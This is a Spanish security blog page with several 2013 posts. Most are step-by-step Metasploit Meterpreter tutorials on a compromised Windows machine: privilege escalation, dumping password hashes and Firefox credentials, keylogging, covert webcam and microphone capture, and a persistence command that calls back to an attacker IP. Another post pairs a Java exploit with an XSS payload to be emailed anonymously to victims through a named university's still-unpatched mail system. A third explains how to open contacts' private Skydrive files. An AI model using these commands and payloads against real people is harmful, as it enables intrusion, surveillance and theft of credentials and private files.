lunes, 28 de enero de 2013

Coqueteando con Metasploit: Meterpreter VI

  Cierre de ciclo con esta entrada, pues concluyen las dedicadas al comando run y meterpreter. Su peculiaridad es que en esta ocasión se atacará una maquina virtual con Windows 7 (a diferencia de los ejemplos normales que suelen trabajar con Windows XP para que todo sea más "bonito") sobre la que se tendrán que elevar privilegios para utilizar ciertos scripts que de otra forma fallarían o no obtendrían tan buenos resultados.

  Lo primero que necesitamos es obtener mayores privilegios, para ello meterpreter contiene diversos scripts que, en función del sistema operativo y lo actualizado que esté, nos pueden ser de utilidad.
  En el caso de Windows basta con usar el autocompletado de Metasploit en post/windows/escalate para hacernos una idea de las opciones que tenemos disponibles.


Elevando privilegios

  Para dicha tarea utilizaremos, a modo de ejemplo, una vulnerabilidad en la planificación de tareas de Windows (MS10-092) que permitía elevar privilegios pero que fue corregida hace bastante tiempo.

  Su ejecución es tan simple como:
run post/windows/escalate/ms10_092_schelevator



   Una vez finalice el proceso, la victima conectara con Metasploit otorgándonos una nueva sesión con los ansiados privilegios. Para comprobar esto, basta con:
getprivs



Desbloquear la pantalla

  Como el titulo indica, el siguiente script permite desbloquear la pantalla de Windows.


Dicha tarea es tan simple como:
run screen_unlock
en el caso de querer revertir los cambios utilizaremos el parámetro -r:
run screen_unlock -r



Más posibilidades para el keylogger

  En anteriores entradas hemos visto como funcionaban los diversos keyloggers que incorporaba meterpreter, ahora vamos a extender las posibilidades capturando la contraseña de inicio de sesión de Windows, para ello lo primero es comprobar el proceso winlogon.exe y migrar a éste. Con ésto ya será posible obtener la ansiada clave.





Más posibilidades

  Con privilegios se ponen a nuestra disposición nuevos scripts que nos ofrecen más opciones. Ejemplos de esto son listar los usuarios conectados, ver la clave de licencia de Windows o activar el escritorio remoto en el sistema.

=> Usuarios conectados:
run /post/windows/gather/enum_logged_on_users

=> Licencias del sistema:
run /post/windows/gather/enum_ms_product_keys

=> Escritorio remoto:
run getgui -e

=> Contraseña del sistema:
run post/windows/gather/hashdump




Jugando con sniffers

  Una de las grandes posibilidades que posee meterpreter es el poder utilizar un sniffer desde el equipo comprometido y obtener el trafico capturado por éste, para ello utilizaremos packetrecorder.


 El primer paso para ejecutarlo es conocer las interfaces del equipo víctima, para ello:
run packetrecorder -li

cada una de estas interfaces es precedida de un numero o identificador que pasaremos como parámetro (flag -i) para escoger la interfaz que capturará el trafico.
run packetrecorder -i <identificador interfaz>



  Con el sniffer concluye la saga de meterpreter, aunque me he dejado en el tintero muchas más posibilidades el tratarlas todas requeriría dedicar un blog exclusivamente a ello. Si alguien quiere llegar mas lejos tanto en meterpreter como en Metasploit aquí os dejo unas referencias:

  Nos leemos en breve ;)

lunes, 21 de enero de 2013

Coqueteando con Metasploit: Meterpreter V

  Quinta entrada de meterpreter y segunda del comando run en la que continuaremos viendo más scrips interesantes para extender las funcionalidades de la herramienta y ver las impresionantes posibilidades que ofrece.

Otro keylogger

  Meterpreter ya posee su propio keylogger llamado keyscan, pero con el comando run podemos extender las posibilidades de este con esta versión mas potente llamada keylogrecorder. Su utilización es muy sencilla:
run keylogrecorder

 Los archivos con la información interceptada se encuentran en /root/.msf4/logs/scripts/keylogrecorder.



Obteniendo información del sistema

  Otro de los scripts interesantes es scraper que permite obtener información muy variada y diversa del equipo comprometido almacenándola en una carpeta de forma ordenada.
run scraper

  Los datos obtenidos podemos encontrarlos en  /root/.msf4/logs/scripts/scraper.




Quiero escuchar tu voz ;)

  Con este título tan romántico os introduzco el script sound_recorder que realizará grabaciones del equipo comprometido utilizando el micrófono de éste (si tiene obviamente xD)  y las almacenará en /root/logs/sound_recorder.
run sound_recorder -l /root

 El flag -l permite especificar una ruta alternativa para guardar los ficheros.



Que escritorio tan bonito

  La siguiente posibilidad es controlar el equipo comprometido usando VNC, así de simple y directo. Basta con:
run vnc

  Acto seguido se nos abrirá una ventana con el escritorio de la víctima :D .




Quiero verte :D

  Ya solo nos quedaba para terminar de "conocer" a la víctima verla, tan simple como:
run webcam

   Una vez ejecutado el módulo meterpreter nos mostrará desde imágenes capturadas por la webcam hasta una sesión en streaming con ella, todo muy romántico ;).




  Otro post sobre run concluido y penúltimo de meterpreter. En el próximo veremos que sucede cuando se ataca una máquina y no se disponen de privilegios para actuar con total libertinaje en ésta.

Nos leemos en breve ;)

lunes, 14 de enero de 2013

Sobre Java, Metasploit y el retorno del XSS universitario

  Estos días Java ha vuelto a ser noticia y no para bien, pues se comentaba en los medios la existencia de una nueva vulnerabilidad 0-Day que permite ejecutar código de forma remota. Ha sido clasificada como CVE 2013-0422.

  Metasploit por su parte acaba de incluirla en su rama gratuita, así que probaremos que tal funciona sobre la última versión de java disponible, Java 7 Update 10 (a día de hoy 13/01/2013).

  Lo primero que he hecho ha sido actualizar el navegador y el plugin de java a las últimas versiones de cada uno:


 Para, acto seguido lanzar metasploit y ejecutar un msfupdate para tener nuestro framework a la última con el exploit de java en su base de datos.

Lo siguiente es escoger el exploit y configurarlo:
use exploit/multi/browser/java_jre17_jmxbean
Establecemos la IP del servidor (la nuestra):
set SRVHOST <IP>
el puerto:
set SRVPORT <puerto>
y lanzamos el exploit:
exploit

 En este momento el servidor se quedará esperando conexiones y nos ofrecerá una dirección que será la que las víctimas accederán.



¿Cómo difundimos el enlace?

  Como comenté hace tiempo en el post Los peligros de un XSS - Un ejemplo universitario: Ronda final existía en el correo de mi universidad una vulnerabilidad que ejecutaba un XSS al recibir un correo en la bandeja, simplemente con escribir código html/Javascript en el asunto de un correo (gracias señor @z050 por mostrarme la genial imagen ;) ).


  Dicha vulnerabilidad sigue estando vigente, y es perfecta para que un atacante la aprovechase, así que terminal en mano vamos a mandar un correo de forma ANÓNIMA a una víctima (o varias) con un asunto adaptado para tal magnifica ocasión:
Subject:<script>document.location="dirección_facilitada_por_metasploit"</script>

  Cada receptor del correo, será redirigido automáticamente a la dirección del servidor de Metasploit y éste hará su trabajo:



  Mención "especial" por decirlo de alguna manera a Google-Chrome que muestra una advertencia referente a un plugin de Java que quiere ejecutarse preguntándonos si lo permitimos o no. En el caso de IE y Firefox éstos callan como putas y son comprometidos.


NOTA: Los que uséis Links estad tranquilos, sois inmunes ;) .


Fuente / Más información


Actualización => Desde ayer (13/01/2013) existe un parche por parte de Oracle ("Update 11") que corrige el fallo, ACTUALIZAD!!


Y aquí cierro mi particular versión sobre la esta peligrosa vulnerabilidad relacionada con la ultima versión de Java, nos leemos en breve ;)


martes, 8 de enero de 2013

Coqueteando con Metasploit: Meterpreter IV

  Primera entrada del año y cuarta de Meterpreter. Introduciremos el comando run que permite ejecutar scripts realizados para meterpreter ampliando ya la útil y cuantiosa cantidad de posibilidades que ofrece la aplicación.

  A continuación veremos distintos de estos scripts con las mas dispares funcionalidades pero todos útiles de un modo u otro.



Persistencia

  La orden persistance (antecedida por run) permite a meterpreter anclarse al inicio del sistema e intente establecer conexiones con la máquina atacante cada X tiempo.


  El siguiente comando permite que al inicio del sistema comprometido y en intervalos de 10 segundos éste intente conectar con la máquina del atacante:
run persistance -U -p 31337 -r 192.168.0.108 -i 10
donde:

  • -U => Ejecuta meterpreter cuando la víctima accede a su sistema.
  • -p <puerto a la escucha> => El puerto del equipo del atacante en donde se conectará la víctima, es necesario que el atacante tenga un "handler" escuchando en este puerto como vimos en anteriores entregas. 
  • -r <IP atacante> => La dirección IP del atacante.
  • -i <segundos> => El intervalo en segundos en el que la víctima intentará establecer conexión con el atacante.

  Una vez ejecutado, agrega una entrada de meterpreter al registro de Windows en la sección de las aplicaciones que arrancan al inicio.

  Para probar que funciona, cerramos la sesión de meterpreter y ponemos Metasploit a escuchar el puerto especificado antes (con el handler). En breve (en función del intervalo especificado) veremos como la víctima se conecta automáticamente.




¿ Es la víctima una máquina virtual?

  El siguiente script permite saber si el sistema comprometido es o no una máquina virtual. Para ello basta con:
run checkvm



Aplicaciones en el equipo comprometido

  También de forma simple es posible ver las aplicaciones que tiene el equipo comprometido instaladas y su respectiva versión. Esto puede ser muy útil a la hora de buscar determinados exploits para, por ejemplo, escalar privilegios.
run get_application_list




Obtener las credenciales de Firefox

 Para obtener jugosa información del navegador zorruno, existe otro script para hacernos la vida mas facil. Éste se encargará de descargar a nuestro equipo los archivos necesarios para después analizarlos con comodidad.
run post/multi/gather/firefox_creds

Existen gran cantidad de scripts para obtener las credenciales e información útil de muchos programas incluso en distintas versiones de éstos. Su utilización es similar a la de Firefox, basta con buscarlos en "post/multi/gather".



Variables de entorno

  Si se requieren las variables de entorno del equipo comprometido, su obtención es tan rápida como:
run get_env




  Y con esto cerramos la primera entrada del año y relaciona con los scripts de meterpreter. Quedan un par mas relacionadas con run  y cerraremos la subsaga de meterpreter.

  Un saludo, nos leemos en breve ;).

viernes, 4 de enero de 2013

100 entradas -- La leyenda se hace centenaria


  100 post, 100 entradas a las que no tenia ni las más mínima esperanza de llegar ya que suelo aburrirme pronto de las cosas (4 o 5 blogs más viejos atestiguan mis palabras xD).

  Pero esta vez ha sido diferente, gracias a vosotros que leéis y aguantáis las entradas, cada una escrita de una forma distinta (en función del día escribo en una persona u otra por poner un ejemplo) y de diverso contenido. Pasando por seguridad, por GNU/Linux o alguna por ahí perdida de programación e incluso algún análisis de un libro forman la centenaria cifra.

  He tratado desde temas wireless (con los que empecé en esto de la seguridad informática), hasta temas relacionados con sniffers, metasploit, algo de seguridad web y como no, GNU/Linux.
  Todos ellos componen mi pequeño archivo de documentos de referencia en los que me he esforzado por escribir de la forma en que me gustaría encontrarlos a mi, pese a que muchas veces sea demasiado simple, demasiado paso a paso, prefiero que quede claro que pasarme horas buscando un comando que tendría que haber supuesto y no hice.


  El tener un blog me ha permitido conocer e interactuar con mucha gente, aprender o discutir con amig@s que comparten intereses. Todo esto me ha llevado a participar en otros sitios como son Tuxapuntes0V3RL04D 1N TH3 N3T (thanks @TheXC3L) y Flu-project compartiendo contenido y ayudando a tejer esta red de todos que es Internet.


  Sobre el futuro, tengo ganas de continuar, ya que el escribir un blog hace que esté más inquieto,  que trastee constantemente para aportar nuevo contenido y siempre descubrir cosas de éste genial mundo que es la informática. Además estoy intentando convencer a amigos para que participen (algunos lo hacen por iniciativa propia como el señor @a5rojo en su primer post hace unos días) para poder aportar mas variedad de contenidos aunque ya veremos si lo consigo :D .


 Y después de esta entrada algo más sentimental que de costumbre solo queda decir:
 "nos leemos en breve"  ;)
Un saludo,

miércoles, 2 de enero de 2013

Como cotillear los archivos en Skydrive de tus contactos



Buenas a todos!
Sé que no es habitual mi presencia aquí, pero he decido ayudar a mi amigo @Aetsu con su blog aportando un poco de mi conocimiento en el tema de la seguridad informática (o Hacking que suena mas Fucker ¡! ).
Voy enseñaros un pequeño “bug” que tiene Skydrive que te deja ver y descargar los archivos de tus contactos de Messenger, ese chat que “antiguamente” se usaba tanto (en mi adolescencia era equivalente a Facebook, Tuenti, o whatsapp, si no lo tenías no podías comunicarte con tus amigos, ni ligar con chicas etc…) y que ahora está en declive y se va a integrar con Skype.
Empezare contando un poco de historia, Messenger te daba la opción de crearte una especia de blog, donde podías poner tus fotos, escribir entradas, era una especie de Blogeer y Facebook, en aquel entonces, los adolescentes en lo que yo me incluyo, lo utilizabamos para almacenar fotos. El problema viene cuando empezó el declive de Messenger, y Microsoft decidió poner todos esos archivos y fotos en Skydrive.

Una vez comentado esto, explicare como utilizar un “bug” para poder ver los archivos de tus contactos, que actualmente no tienes acceso.
  1. Necesitas tener Messenger instalado, para seleccionar el contacto al que quieres acceder a sus archivos.
  2. Una vez seleccionado a la víctima, le damos click a la opción ver su perfil.
  3. Se nos abrirá el navegador con la información de nuestra victima en la interfaz metro de Hotmal, si nos fijamos en la barra del navegador donde está la url, veremos un campo “cid=” y a continuación 16 caracteres formados por números y letras.
  4. Abrimos nuestro Skydrive y reemplazamos nuestro “cid” por el suyo.
  5. Y tendremos acceso a todos los archivos que tenía en su blog y ahora están alojados en Skydrive. SOLO LOS ARCHIVOS HEREDADOS DEL BLOG.

Como he comentado solo aparecen los archivos que la víctima tenía en el blog y que Microsoft automáticamente después de suprimir su servicio de blog, ha introducido actualmente en Skydrive, este bug también sirve para archivos públicos.

Pues hasta aquí, mi pequeña aportación, espero que os guste y no lo utilicéis para el mal!!!
Un saludo y espero poder seguir colaborando.